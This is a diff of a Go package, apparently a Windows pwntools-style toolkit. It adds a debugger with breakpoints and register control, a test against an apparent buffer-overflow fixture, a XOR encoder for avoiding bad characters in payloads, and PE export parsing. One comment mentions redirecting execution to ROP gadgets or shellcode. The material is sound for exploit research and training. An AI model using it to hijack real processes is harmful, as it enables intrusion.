}
|
||||
|
||||
if ev.Kind == EventBreakpoint {
|
||||
d.bpMu.Lock()
|
||||
orig, known := d.breakpoints[ev.Addr]
|
||||
d.bpMu.Unlock()
|
||||
if known {
|
||||
if err := d.stepPastBreakpoint(ev.ThreadID, ev.Addr, orig); err != nil {
|
||||
Warn("debugger: stepping past breakpoint at 0x%x: %v", ev.Addr, err)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
procContinueDebugEvent.Call(uintptr(d.PID), uintptr(ev.ThreadID), uintptr(req.status))
|
||||
|
||||
if ev.Kind == EventExitProcess {
|
||||
return
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// stepPastBreakpoint restores the original byte, rewinds Rip back over the
|
||||
// INT3 (the CPU already advanced it past the 1-byte instruction by the time
|
||||
// the exception is delivered -- this is the standard, easy-to-forget
|
||||
// software-breakpoint bookkeeping step), single-steps exactly one
|
||||
// instruction via the trap flag, then re-arms the 0xCC so the breakpoint
|
||||
// persists for the next hit. The single-step it generates is consumed here
|
||||
// directly (a second WaitForDebugEvent/ContinueDebugEvent round trip on this
|
||||
// same locked thread) and never reaches the public Events() channel -- the
|
||||
// caller asked to Continue, not to Step, so this is an implementation detail
|
||||
// of "resume past a breakpoint", not an event of its own.
|
||||
func (d *Debugger) stepPastBreakpoint(tid uint32, addr uintptr, orig byte) error {
|
||||
if err := d.WriteMemory(addr, []byte{orig}); err != nil {
|
||||
return fmt.Errorf("restore original byte: %w", err)
|
||||
}
|
||||
|
||||
th, err := windows.OpenThread(threadAccessForDebug, false, tid)
|
||||
if err != nil {
|
||||
return fmt.Errorf("OpenThread(%d): %w", tid, err)
|
||||
}
|
||||
defer windows.CloseHandle(th)
|
||||
|
||||
ctx := &contextX64{}
|
||||
if err := getThreadContext(th, ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
ctx.EFlags |= eflagsTrapFlag
|
||||
if err := setThreadContext(th, ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
procContinueDebugEvent.Call(uintptr(d.PID), uintptr(tid), uintptr(dbgContinue))
|
||||
|
||||
for {
|
||||
var raw rawDebugEvent
|
||||
r, _, _ := procWaitForDebugEvent.Call(uintptr(unsafe.Pointer(&raw)), uintptr(windows.INFINITE))
|
||||
if r == 0 {
|
||||
return fmt.Errorf("WaitForDebugEvent failed while stepping past breakpoint at 0x%x", addr)
|
||||
}
|
||||
if raw.Code == debugExceptionEvent && raw.ThreadID == tid {
|
||||
info := (*exceptionDebugInfo)(unsafe.Pointer(&raw.U[0]))
|
||||
if info.Record.Code == exceptionSingleStep {
|
||||
break
|
||||
}
|
||||
}
|
||||
// Something else fired on another thread mid-step (a second thread
|
||||
// hitting its own breakpoint, say) -- let it run, we only care about
|
||||
// regaining control of tid.
|
||||
procContinueDebugEvent.Call(uintptr(d.PID), uintptr(raw.ThreadID), uintptr(dbgExceptionNotHandled))
|
||||
}
|
||||
|
||||
return d.WriteMemory(addr, []byte{0xCC})
|
||||
}
|
||||
|
||||
func (d *Debugger) decodeEvent(raw *rawDebugEvent) DebugEvent {
|
||||
ev := DebugEvent{ThreadID: raw.ThreadID, status: dbgContinue}
|
||||
|
||||
switch raw.Code {
|
||||
case debugExceptionEvent:
|
||||
info := (*exceptionDebugInfo)(unsafe.Pointer(&raw.U[0]))
|
||||
ev.Code = info.Record.Code
|
||||
ev.Addr = uintptr(info.Record.Address)
|
||||
ev.FirstChance = info.FirstChance != 0
|
||||
|
||||
d.bpMu.Lock()
|
||||
_, isOurs := d.breakpoints[ev.Addr]
|
||||
d.bpMu.Unlock()
|
||||
|
||||
switch {
|
||||
case info.Record.Code == exceptionBreakpoint && isOurs:
|
||||
ev.Kind = EventBreakpoint
|
||||
// Make the paused thread's own Rip already read as the
|
||||
// breakpoint address (not address+1, where the CPU left it
|
||||
// after executing the INT3) so a caller's GetContext during
|
||||
// this event sees what a human would expect at a breakpoint --
|
||||
// the same fixup every real debugger applies before showing you
|
||||
// anything.
|
||||
if th, err := windows.OpenThread(threadAccessForDebug, false, raw.ThreadID); err == nil {
|
||||
ctx := &contextX64{}
|
||||
if getThreadContext(th, ctx) == nil {
|
||||
ctx.Rip--
|
||||
setThreadContext(th, ctx)
|
||||
}
|
||||
windows.CloseHandle(th)
|
||||
}
|
||||
case info.Record.Code == exceptionBreakpoint:
|
||||
// Not one of ours -- almost always the loader breakpoint ntdll
|
||||
// raises once initialization finishes (the same stop every
|
||||
// WinDbg/x64dbg session opens on), occasionally a genuine int3
|
||||
// already in the target. Reported as a plain exception since
|
||||
// there's no INT3 *we* patched in to account for.
|
||||
ev.Kind = EventException
|
||||
case info.Record.Code == exceptionSingleStep:
|
||||
ev.Kind = EventSingleStep
|
||||
default:
|
||||
ev.Kind = EventException
|
||||
// Most callers want to inspect and decide for themselves, but
|
||||
// the safe default if they just Continue() without handling it
|
||||
// is to let the OS's normal second-chance/crash path run
|
||||
// instead of looping the same fault back into the debuggee
|
||||
// forever -- true whether it's first-chance or not.
|
||||
ev.status = dbgExceptionNotHandled
|
||||
}
|
||||
|
||||
case debugCreateProcessEvent:
|
||||
info := (*createProcessDebugInfo)(unsafe.Pointer(&raw.U[0]))
|
||||
ev.Kind = EventCreateProcess
|
||||
ev.Addr = uintptr(info.LpBaseOfImage)
|
||||
|
||||
case debugCreateThreadEvent:
|
||||
ev.Kind = EventCreateThread
|
||||
|
||||
case debugExitThreadEvent:
|
||||
info := (*exitDebugInfo)(unsafe.Pointer(&raw.U[0]))
|
||||
ev.Kind = EventExitThread
|
||||
ev.ExitCode = info.ExitCode
|
||||
|
||||
case debugExitProcessEvent:
|
||||
info := (*exitDebugInfo)(unsafe.Pointer(&raw.U[0]))
|
||||
ev.Kind = EventExitProcess
|
||||
ev.ExitCode = info.ExitCode
|
||||
|
||||
case debugLoadDllEvent:
|
||||
info := (*loadDllDebugInfo)(unsafe.Pointer(&raw.U[0]))
|
||||
ev.Kind = EventLoadDll
|
||||
ev.Addr = uintptr(info.LpBaseOfDll)
|
||||
ev.Message = d.readDllPath(info.ImageName, info.Unicode != 0)
|
||||
|
||||
case debugUnloadDllEvent:
|
||||
info := (*struct{ LpBaseOfDll uint64 })(unsafe.Pointer(&raw.U[0]))
|
||||
ev.Kind = EventUnloadDll
|
||||
ev.Addr = uintptr(info.LpBaseOfDll)
|
||||
|
||||
case debugOutputStringEvent:
|
||||
info := (*outputDebugStringInfo)(unsafe.Pointer(&raw.U[0]))
|
||||
ev.Kind = EventOutputDebugString
|
||||
ev.Message = d.readDebugString(info)
|
||||
|
||||
default:
|
||||
ev.Kind = EventUnknown
|
||||
}
|
||||
|
||||
return ev
|
||||
}
|
||||
|
||||
// readDllPath best-effort reads the LOAD_DLL_DEBUG_INFO.lpImageName pointer.
|
||||
// It's deliberately tolerant of failure: lpImageName is documented as
|
||||
// sometimes null or pointing at a pointer-to-a-pointer depending on the
|
||||
// loader's mood, so a miss here just means an empty Message, not an error
|
||||
// that would derail the whole event.
|
||||
func (d *Debugger) readDllPath(addr uint64, unicode bool) string {
|
||||
if addr == 0 {
|
||||
return ""
|
||||
}
|
||||
var ptrBuf [8]byte
|
||||
if _, err := d.ReadMemory(uintptr(addr), ptrBuf[:]); err != nil {
|
||||
return ""
|
||||
}
|
||||
strAddr := *(*uint64)(unsafe.Pointer(&ptrBuf[0]))
|
||||
if strAddr == 0 {
|
||||
return ""
|
||||
}
|
||||
buf := make([]byte, 512)
|
||||
n, _ := d.ReadMemory(uintptr(strAddr), buf)
|
||||
buf = buf[:n]
|
||||
if unicode {
|
||||
u16 := make([]uint16, len(buf)/2)
|
||||
for i := range u16 {
|
||||
u16[i] = uint16(buf[2*i]) | uint16(buf[2*i+1])<<8
|
||||
}
|
||||
return windows.UTF16ToString(u16)
|
||||
}
|
||||
if idx := indexByte(buf, 0); idx >= 0 {
|
||||
buf = buf[:idx]
|
||||
}
|
||||
return string(buf)
|
||||
}
|
||||
|
||||
func (d *Debugger) readDebugString(info *outputDebugStringInfo) string {
|
||||
if info.LpDebugStringData == 0 || info.Length == 0 {
|
||||
return ""
|
||||
}
|
||||
buf := make([]byte, info.Length)
|
||||
n, err := d.ReadMemory(uintptr(info.LpDebugStringData), buf)
|
||||
if err != nil {
|
||||
return ""
|
||||
}
|
||||
buf = buf[:n]
|
||||
if info.Unicode != 0 {
|
||||
u16 := make([]uint16, len(buf)/2)
|
||||
for i := range u16 {
|
||||
u16[i] = uint16(buf[2*i]) | uint16(buf[2*i+1])<<8
|
||||
}
|
||||
return windows.UTF16ToString(u16)
|
||||
}
|
||||
if idx := indexByte(buf, 0); idx >= 0 {
|
||||
buf = buf[:idx]
|
||||
}
|
||||
return string(buf)
|
||||
}
|
||||
|
||||
func indexByte(b []byte, c byte) int {
|
||||
for i, v := range b {
|
||||
if v == c {
|
||||
return i
|
||||
}
|
||||
}
|
||||
return -1
|
||||
}
|
||||
|
||||
// Events returns the channel of decoded debug events. Closed when the
|
||||
// debuggee exits or Close/Detach is called -- range over it the same way
|
||||
// you'd loop on pwntools' gdb continuing past each stop.
|
||||
func (d *Debugger) Events() <-chan DebugEvent {
|
||||
return d.events
|
||||
}
|
||||
|
||||
// Continue resumes the debuggee past ev, the consumer-side counterpart of a
|
||||
// value received from Events(). It picks DBG_CONTINUE vs
|
||||
// DBG_EXCEPTION_NOT_HANDLED automatically (see DebugEvent.status's doc
|
||||
// comment) and, if ev was a hit on a breakpoint this Debugger set, performs
|
||||
// the restore-byte/rewind-Rip/single-step/re-arm dance transparently first.
|
||||
func (d *Debugger) Continue(ev DebugEvent) error {
|
||||
select {
|
||||
case d.resume <- continueRequest{threadID: ev.ThreadID, status: ev.status}:
|
||||
return nil
|
||||
case <-d.closed:
|
||||
return fmt.Errorf("debugger: session closed")
|
||||
}
|
||||
}
|
||||
|
||||
// Step single-steps thread tid by setting the trap flag and resuming for
|
||||
// exactly one instruction; the resulting EventSingleStep is delivered
|
||||
// through the normal Events() channel like any other event.
|
||||
//
|
||||
// Documented gap, not a bug: calling Step in response to an EventBreakpoint
|
||||
// behaves like Continue, not like a single step, because resuming past a
|
||||
// software breakpoint already requires its own internal single-step (see
|
||||
// stepPastBreakpoint) before real execution can continue -- there's no way
|
||||
// to stop *exactly* at "one instruction past a breakpoint" without that
|
||||
// step happening anyway. If you need single-step granularity starting from
|
||||
// a breakpoint, Continue past it once, then Step from wherever you land.
|
||||
func (d *Debugger) Step(tid uint32) error {
|
||||
th, err := windows.OpenThread(threadAccessForDebug, false, tid)
|
||||
if err != nil {
|
||||
return fmt.Errorf("OpenThread(%d): %w", tid, err)
|
||||
}
|
||||
defer windows.CloseHandle(th)
|
||||
|
||||
ctx := &contextX64{}
|
||||
if err := getThreadContext(th, ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
ctx.EFlags |= eflagsTrapFlag
|
||||
if err := setThreadContext(th, ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
select {
|
||||
case d.resume <- continueRequest{threadID: tid, status: dbgContinue}:
|
||||
return nil
|
||||
case <-d.closed:
|
||||
return fmt.Errorf("debugger: session closed")
|
||||
}
|
||||
}
|
||||
|
||||
// SetBreakpoint patches a software breakpoint (INT3) at addr, saving the
|
||||
// original byte so Continue/RemoveBreakpoint can restore it. addr is an
|
||||
// absolute virtual address in the debuggee -- typically ImageBase +
|
||||
// some RVA resolved from the target's own PEFile.
|
||||
func (d *Debugger) SetBreakpoint(addr uintptr) error {
|
||||
var orig [1]byte
|
||||
if _, err := d.ReadMemory(addr, orig[:]); err != nil {
|
||||
return fmt.Errorf("read original byte at 0x%x: %w", addr, err)
|
||||
}
|
||||
if err := d.WriteMemory(addr, []byte{0xCC}); err != nil {
|
||||
return fmt.Errorf("write breakpoint at 0x%x: %w", addr, err)
|
||||
}
|
||||
d.bpMu.Lock()
|
||||
d.breakpoints[addr] = orig[0]
|
||||
d.bpMu.Unlock()
|
||||
return nil
|
||||
}
|
||||
|
||||
// RemoveBreakpoint restores the original byte at addr. Safe to call on an
|
||||
// address that isn't currently the thread's Rip -- only Continue's
|
||||
// breakpoint-resume path needs the single-step dance; removing one that
|
||||
// isn't being actively resumed through is a plain memory write.
|
||||
func (d *Debugger) RemoveBreakpoint(addr uintptr) error {
|
||||
d.bpMu.Lock()
|
||||
orig, ok := d.breakpoints[addr]
|
||||
if ok {
|
||||
delete(d.breakpoints, addr)
|
||||
}
|
||||
d.bpMu.Unlock()
|
||||
if !ok {
|
||||
return fmt.Errorf("no breakpoint set at 0x%x", addr)
|
||||
}
|
||||
return d.WriteMemory(addr, []byte{orig})
|
||||
}
|
||||
|
||||
// GetContext reads tid's general-purpose registers + Rip/EFlags.
|
||||
func (d *Debugger) GetContext(tid uint32) (Registers, error) {
|
||||
th, err := windows.OpenThread(threadAccessForDebug, false, tid)
|
||||
if err != nil {
|
||||
return Registers{}, fmt.Errorf("OpenThread(%d): %w", tid, err)
|
||||
}
|
||||
defer windows.CloseHandle(th)
|
||||
|
||||
ctx := &contextX64{}
|
||||
if err := getThreadContext(th, ctx); err != nil {
|
||||
return Registers{}, err
|
||||
}
|
||||
return registersFromContext(ctx), nil
|
||||
}
|
||||
|
||||
// SetContext writes tid's general-purpose registers + Rip/EFlags, e.g. to
|
||||
// redirect execution (set Rip to a ROP gadget / shellcode address) once you
|
||||
// have IP control and want to drive it from the debugger rather than
|
||||
// letting a corrupted return address do it.
|
||||
func (d *Debugger) SetContext(tid uint32, regs Registers) error {
|
||||
th, err := windows.OpenThread(threadAccessForDebug, false, tid)
|
||||
if err != nil {
|
||||
return fmt.Errorf("OpenThread(%d): %w", tid, err)
|
||||
}
|
||||
defer windows.CloseHandle(th)
|
||||
|
||||
ctx := &contextX64{}
|
||||
if err := getThreadContext(th, ctx); err != nil {
|
||||
return err
|
||||
}
|
||||
applyRegistersToContext(regs, ctx)
|
||||
return setThreadContext(th, ctx)
|
||||
}
|
||||
|
||||
// ReadMemory/WriteMemory read and write the debuggee's address space
|
||||
// directly, the same ReadProcessMemory/WriteProcessMemory primitive
|
||||
// ProcessMemory wraps in procmem_windows.go -- duplicated here rather than
|
||||
// embedding a *ProcessMemory because Debugger already owns the process
|
||||
// handle's lifetime (closed by eventLoop on exit) and WriteMemory needs the
|
||||
// extra FlushInstructionCache call SetBreakpoint relies on, which a plain
|
||||
// WriterAt has no hook for.
|
||||
func (d *Debugger) ReadMemory(addr uintptr, buf []byte) (int, error) {
|
||||
if len(buf) == 0 {
|
||||
return 0, nil
|
||||
}
|
||||
var n uintptr
|
||||
err := windows.ReadProcessMemory(d.process, addr, &buf[0], uintptr(len(buf)), &n)
|
||||
return int(n), err
|
||||
}
|
||||
|
||||
func (d *Debugger) WriteMemory(addr uintptr, data []byte) error {
|
||||
if len(data) == 0 {
|
||||
return nil
|
||||
}
|
||||
var n uintptr
|
||||
if err := windows.WriteProcessMemory(d.process, addr, &data[0], uintptr(len(data)), &n); err != nil {
|
||||
return err
|
||||
}
|
||||
// Required for code patches per Microsoft's own documentation for
|
||||
// WriteProcessMemory: "the function does not flush the instruction
|
||||
// cache... If you need that, call FlushInstructionCache". x86/x64 has a
|
||||
// coherent icache in practice, but WOW64/exotic configurations are
|
||||
// exactly the case that documentation note exists for -- cheap to call
|
||||
// unconditionally rather than rediscover the one config where it matters.
|
||||
procFlushInstructionCache.Call(uintptr(d.process), addr, uintptr(len(data)))
|
||||
return nil
|
||||
}
|
||||
|
||||
// Close detaches the debugger (DebugActiveProcessStop) without killing the
|
||||
// debuggee -- idempotent via sync.Once, matching Tube.Close/pipeConn.Close
|
||||
// elsewhere in this package.
|
||||
func (d *Debugger) Close() error {
|
||||
d.closeOnce.Do(func() {
|
||||
close(d.closed)
|
||||
r, _, err := procDebugActiveProcessStop.Call(uintptr(d.PID))
|
||||
if r == 0 {
|
||||
d.closeErr = fmt.Errorf("DebugActiveProcessStop(%d): %w", d.PID, err)
|
||||
}
|
||||
})
|
||||
return d.closeErr
|
||||
}
|
||||
@@ -0,0 +1,108 @@
|
||||
//go:build windows
|
||||
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"testing"
|
||||
"time"
|
||||
)
|
||||
|
||||
// TestDebuggerBreakpointAtEntry composes SpawnSuspended + Attach +
|
||||
// ResumeMainThread (the pattern documented on Debugger) to break at the
|
||||
// real entry point of the checked-in fixture binary, confirming against a
|
||||
// live process that: the loader/CreateProcess/LoadDll/CreateThread events
|
||||
// decode without error, ResolveModuleBase eventually succeeds once the
|
||||
// loader has run, SetBreakpoint+the breakpoint-hit path leaves the
|
||||
// thread's Rip exactly equal to the breakpoint address (the INT3
|
||||
// rewind-by-one fixup), and Continue can step back past a still-armed
|
||||
// breakpoint without hanging.
|
||||
//
|
||||
// This exercises the exact sequence validated manually against a live
|
||||
// process while building debugger_windows.go (see ROADMAP.md's Phase 4
|
||||
// notes) -- a hermetic version of that same proof, run by `go test`.
|
||||
func TestDebuggerBreakpointAtEntry(t *testing.T) {
|
||||
requireFixturePE(t)
|
||||
|
||||
diskPE, err := OpenPE(testFixturePE)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
diskBase, err := diskPE.ImageBase()
|
||||
if err != nil {
|
||||
diskPE.Close()
|
||||
t.Fatal(err)
|
||||
}
|
||||
diskEntry, err := diskPE.EntryPoint()
|
||||
if err != nil {
|
||||
diskPE.Close()
|
||||
t.Fatal(err)
|
||||
}
|
||||
diskPE.Close()
|
||||
entryRVA := diskEntry - diskBase
|
||||
|
||||
tube, pid, err := SpawnSuspended(testFixturePE)
|
||||
if err != nil {
|
||||
t.Fatalf("SpawnSuspended: %v", err)
|
||||
}
|
||||
defer tube.Close()
|
||||
|
||||
dbg, err := Attach(pid)
|
||||
if err != nil {
|
||||
t.Fatalf("Attach: %v", err)
|
||||
}
|
||||
defer dbg.Close()
|
||||
|
||||
if err := ResumeMainThread(pid); err != nil {
|
||||
t.Fatalf("ResumeMainThread: %v", err)
|
||||
}
|
||||
|
||||
var bpAddr uintptr
|
||||
var entrySet, hit bool
|
||||
|
||||
deadline := time.After(10 * time.Second)
|
||||
for !hit {
|
||||
select {
|
||||
case ev, ok := <-dbg.Events():
|
||||
if !ok {
|
||||
t.Fatal("debugger event channel closed before hitting the entry breakpoint")
|
||||
}
|
||||
|
||||
if !entrySet {
|
||||
if base, rerr := ResolveModuleBase(pid, "bof_win.c.exe"); rerr == nil {
|
||||
bpAddr = uintptr(base) + uintptr(entryRVA)
|
||||
if err := dbg.SetBreakpoint(bpAddr); err != nil {
|
||||
t.Fatalf("SetBreakpoint(0x%x): %v", bpAddr, err)
|
||||
}
|
||||
entrySet = true
|
||||
}
|
||||
// Not yet resolvable (loader hasn't populated PEB.Ldr yet) --
|
||||
// expected on the first couple of events, see
|
||||
// ResolveModuleBase's doc comment in procmem_windows.go.
|
||||
}
|
||||
|
||||
if ev.Kind == EventBreakpoint {
|
||||
regs, gerr := dbg.GetContext(ev.ThreadID)
|
||||
if gerr != nil {
|
||||
t.Fatalf("GetContext(%d): %v", ev.ThreadID, gerr)
|
||||
}
|
||||
if regs.Rip != uint64(ev.Addr) {
|
||||
t.Errorf("Rip = 0x%x, want 0x%x (breakpoint address, after the INT3 rewind)", regs.Rip, ev.Addr)
|
||||
}
|
||||
if ev.Addr != bpAddr {
|
||||
t.Errorf("breakpoint fired at 0x%x, want entry point 0x%x", ev.Addr, bpAddr)
|
||||
}
|
||||
hit = true
|
||||
}
|
||||
|
||||
// Continue every event, including the still-armed breakpoint --
|
||||
// proves Continue's internal restore/rewind/single-step/re-arm
|
||||
// dance (stepPastBreakpoint) completes without hanging.
|
||||
if err := dbg.Continue(ev); err != nil {
|
||||
t.Fatalf("Continue: %v", err)
|
||||
}
|
||||
|
||||
case <-deadline:
|
||||
t.Fatal("timed out waiting for the entry breakpoint to fire")
|
||||
}
|
||||
}
|
||||
}
|
||||
+59
@@ -0,0 +1,59 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
)
|
||||
|
||||
// FindXORKey finds a single byte k such that XORing data with the
|
||||
// repeating key k produces no byte present in badChars -- the search step
|
||||
// behind pwntools' encoders.xor, scoped to a single-byte key (the common
|
||||
// case: avoiding \x00/\x0a/\x0d in a payload that itself gets typed/parsed
|
||||
// as text before reaching the target). Returns an error if no byte in
|
||||
// 0..255 works, which can happen if badChars is large enough that every
|
||||
// possible key XORs at least one data byte into a forbidden value.
|
||||
func FindXORKey(data []byte, badChars []byte) (byte, error) {
|
||||
var bad [256]bool
|
||||
for _, b := range badChars {
|
||||
bad[b] = true
|
||||
}
|
||||
|
||||
candidate:
|
||||
for k := 0; k < 256; k++ {
|
||||
key := byte(k)
|
||||
if bad[key] {
|
||||
continue // the key itself ends up nowhere in the output, but
|
||||
// disallowing it too keeps the result usable as a literal
|
||||
// byte elsewhere in the same payload (e.g. a decoder stub
|
||||
// that embeds the key as an immediate).
|
||||
}
|
||||
for _, b := range data {
|
||||
if bad[b^key] {
|
||||
continue candidate
|
||||
}
|
||||
}
|
||||
return key, nil
|
||||
}
|
||||
return 0, fmt.Errorf("no single-byte XOR key avoids all %d bad chars for this %d-byte input", len(badChars), len(data))
|
||||
}
|
||||
|
||||
// EncodeXOR finds a single-byte XOR key avoiding badChars (via FindXORKey)
|
||||
// and returns data encoded with it, plus the key itself. Decode by XORing
|
||||
// again with the same key (see Xor in fiddling.go) -- this is the
|
||||
// data-level half of pwntools' bad-character avoidance; it does not emit a
|
||||
// self-decoding stub, so the receiving side needs to already know how to
|
||||
// undo it (e.g. the target's own code does the XOR, or your script decodes
|
||||
// a leaked buffer before parsing it).
|
||||
func EncodeXOR(data []byte, badChars []byte) (encoded []byte, key byte, err error) {
|
||||
key, err = FindXORKey(data, badChars)
|
||||
if err != nil {
|
||||
return nil, 0, err
|
||||
}
|
||||
return Xor(data, []byte{key}), key, nil
|
||||
}
|
||||
|
||||
// HasBadChars reports whether data contains any byte in badChars -- the
|
||||
// quick check before bothering with an encoder at all.
|
||||
func HasBadChars(data []byte, badChars []byte) bool {
|
||||
return bytes.ContainsAny(data, string(badChars))
|
||||
}
|
||||
@@ -0,0 +1,56 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"testing"
|
||||
)
|
||||
|
||||
func TestFindXORKeyAvoidsBadChars(t *testing.T) {
|
||||
data := []byte{0x00, 0x0A, 0x0D, 0x41, 0x42}
|
||||
badChars := []byte{0x00, 0x0A, 0x0D}
|
||||
|
||||
key, err := FindXORKey(data, badChars)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
|
||||
encoded := Xor(data, []byte{key})
|
||||
if HasBadChars(encoded, badChars) {
|
||||
t.Errorf("encoded output %x still contains a bad char (key=0x%02x)", encoded, key)
|
||||
}
|
||||
}
|
||||
|
||||
func TestEncodeXORRoundTrip(t *testing.T) {
|
||||
data := []byte("the quick brown fox")
|
||||
badChars := []byte{0x00, 0x0A, 0x0D, 0x20} // also avoid spaces, for fun
|
||||
|
||||
encoded, key, err := EncodeXOR(data, badChars)
|
||||
if err != nil {
|
||||
t.Fatal(err)
|
||||
}
|
||||
if HasBadChars(encoded, badChars) {
|
||||
t.Errorf("encoded output still has bad chars")
|
||||
}
|
||||
|
||||
decoded := Xor(encoded, []byte{key})
|
||||
if !bytes.Equal(decoded, data) {
|
||||
t.Errorf("decoded = %q, want %q", decoded, data)
|
||||
}
|
||||
}
|
||||
|
||||
func TestFindXORKeyImpossible(t *testing.T) {
|
||||
// Every byte 0..255 appears in data, so no key can avoid every byte
|
||||
// being a bad char if badChars also covers every value the key could
|
||||
// produce -- construct a case that's provably impossible: data
|
||||
// contains every byte value, and badChars also contains every byte
|
||||
// value, so any key XORed against some data byte lands on a bad byte.
|
||||
data := make([]byte, 256)
|
||||
for i := range data {
|
||||
data[i] = byte(i)
|
||||
}
|
||||
badChars := data // all 256 values are "bad"
|
||||
|
||||
if _, err := FindXORKey(data, badChars); err == nil {
|
||||
t.Error("expected an error when every byte value is both present and forbidden")
|
||||
}
|
||||
}
|
||||
+145
@@ -0,0 +1,145 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"errors"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Export describes one entry of a PE's export table (EAT), the analogue of
|
||||
// pwntools' libc.symbols[...] entries.
|
||||
type Export struct {
|
||||
// Name is empty when the function is exported by ordinal only.
|
||||
Name string
|
||||
Ordinal uint16
|
||||
// RVA is the function's address. It is zero when ForwardTarget is set:
|
||||
// the export doesn't point at code in this module at all, it forwards
|
||||
// to a function in another DLL.
|
||||
RVA uint32
|
||||
// ForwardTarget is "DLLNAME.FuncName" when this export is a forwarder
|
||||
// (e.g. api-ms-win-core-*.dll entries that forward into kernelbase.dll).
|
||||
// Use ParseForwardTarget to split it.
|
||||
ForwardTarget string
|
||||
}
|
||||
|
||||
// ParseForwardTarget splits a forwarder string ("KERNELBASE.CreateFileW")
|
||||
// into the target DLL and function name.
|
||||
func ParseForwardTarget(forward string) (dll string, fn string) {
|
||||
idx := strings.LastIndex(forward, ".")
|
||||
if idx == -1 {
|
||||
return "", forward
|
||||
}
|
||||
return forward[:idx], forward[idx+1:]
|
||||
}
|
||||
|
||||
// exportDirectory mirrors winnt.h's IMAGE_EXPORT_DIRECTORY.
|
||||
type exportDirectory struct {
|
||||
Characteristics uint32
|
||||
TimeDateStamp uint32
|
||||
MajorVersion uint16
|
||||
MinorVersion uint16
|
||||
Name uint32
|
||||
Base uint32
|
||||
NumberOfFunctions uint32
|
||||
NumberOfNames uint32
|
||||
AddressOfFunctions uint32
|
||||
AddressOfNames uint32
|
||||
AddressOfNameOrdinals uint32
|
||||
}
|
||||
|
||||
// ListExports walks the full Export Address Table, the analogue of
|
||||
// pwntools' libc.symbols when you need every entry rather than a single
|
||||
// lookup. Functions exported by ordinal only (no name) come back with
|
||||
// Name == "". Works against a live-process-backed PEFile exactly as well
|
||||
// as a disk-backed one (see RVAToFileOffset).
|
||||
func (p *PEFile) ListExports() ([]Export, error) {
|
||||
h, err := p.header()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
dir := h.dataDirectory[0]
|
||||
if dir.VirtualAddress == 0 {
|
||||
return nil, errors.New("export table not found")
|
||||
}
|
||||
exportOffset := p.RVAToFileOffset(dir.VirtualAddress)
|
||||
if exportOffset == 0 {
|
||||
return nil, errors.New("failed to map export directory RVA to file offset")
|
||||
}
|
||||
|
||||
var expDir exportDirectory
|
||||
if err := p.readStructAt(exportOffset, &expDir); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
funcsOffset := p.RVAToFileOffset(expDir.AddressOfFunctions)
|
||||
namesOffset := p.RVAToFileOffset(expDir.AddressOfNames)
|
||||
ordinalsOffset := p.RVAToFileOffset(expDir.AddressOfNameOrdinals)
|
||||
|
||||
// Build ordinal-index -> name from the name table before walking
|
||||
// AddressOfFunctions, since not every function slot has a name.
|
||||
nameByOrdinalIndex := make(map[uint16]string, expDir.NumberOfNames)
|
||||
for i := uint32(0); i < expDir.NumberOfNames; i++ {
|
||||
var nameRVA uint32
|
||||
if err := p.readStructAt(namesOffset+int64(i*4), &nameRVA); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
name, err := p.readCString(p.RVAToFileOffset(nameRVA))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
var ordinalIndex uint16
|
||||
if err := p.readStructAt(ordinalsOffset+int64(i*2), &ordinalIndex); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
nameByOrdinalIndex[ordinalIndex] = name
|
||||
}
|
||||
|
||||
// A forwarder's "RVA" doesn't point at code: it points back inside the
|
||||
// export directory itself, at an ASCII "DLL.Func" string.
|
||||
forwarderLo := dir.VirtualAddress
|
||||
forwarderHi := dir.VirtualAddress + dir.Size
|
||||
|
||||
exports := make([]Export, 0, expDir.NumberOfFunctions)
|
||||
for i := uint32(0); i < expDir.NumberOfFunctions; i++ {
|
||||
var rva uint32
|
||||
if err := p.readStructAt(funcsOffset+int64(i*4), &rva); err != nil {
|
||||
return nil, err
|
||||
}
|
||||
if rva == 0 {
|
||||
continue // unused ordinal slot
|
||||
}
|
||||
|
||||
e := Export{
|
||||
Name: nameByOrdinalIndex[uint16(i)],
|
||||
Ordinal: uint16(expDir.Base + i),
|
||||
}
|
||||
if rva >= forwarderLo && rva < forwarderHi {
|
||||
fwd, err := p.readCString(p.RVAToFileOffset(rva))
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
e.ForwardTarget = fwd
|
||||
} else {
|
||||
e.RVA = rva
|
||||
}
|
||||
exports = append(exports, e)
|
||||
}
|
||||
|
||||
return exports, nil
|
||||
}
|
||||
|
||||
// GetExport looks up a single export by name and reports whether it
|
||||
// forwards to another DLL, unlike GetProcAddress which returns a bare RVA.
|
||||
func (p *PEFile) GetExport(name string) (*Export, error) {
|
||||
exports, err := p.ListExports()
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
for i := range exports {
|
||||
if exports[i].Name == name {
|
||||
return &exports[i], nil
|
||||
}
|
||||
}
|
||||
return nil, errors.New("function not found in export table: " + name)
|
||||
}
|
||||
+70
@@ -0,0 +1,70 @@
|
||||
package winpwn
|
||||
|
||||
import (
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"strings"
|
||||
)
|
||||
|
||||
// Enhex hex-encodes data as a lowercase string, the analogue of pwntools'
|
||||
// enhex (binascii.hexlify).
|
||||
func Enhex(data []byte) string {
|
||||
return hex.EncodeToString(data)
|
||||
}
|
||||
|
||||
// Unhex decodes a hex string back into bytes, the analogue of pwntools'
|
||||
// unhex.
|
||||
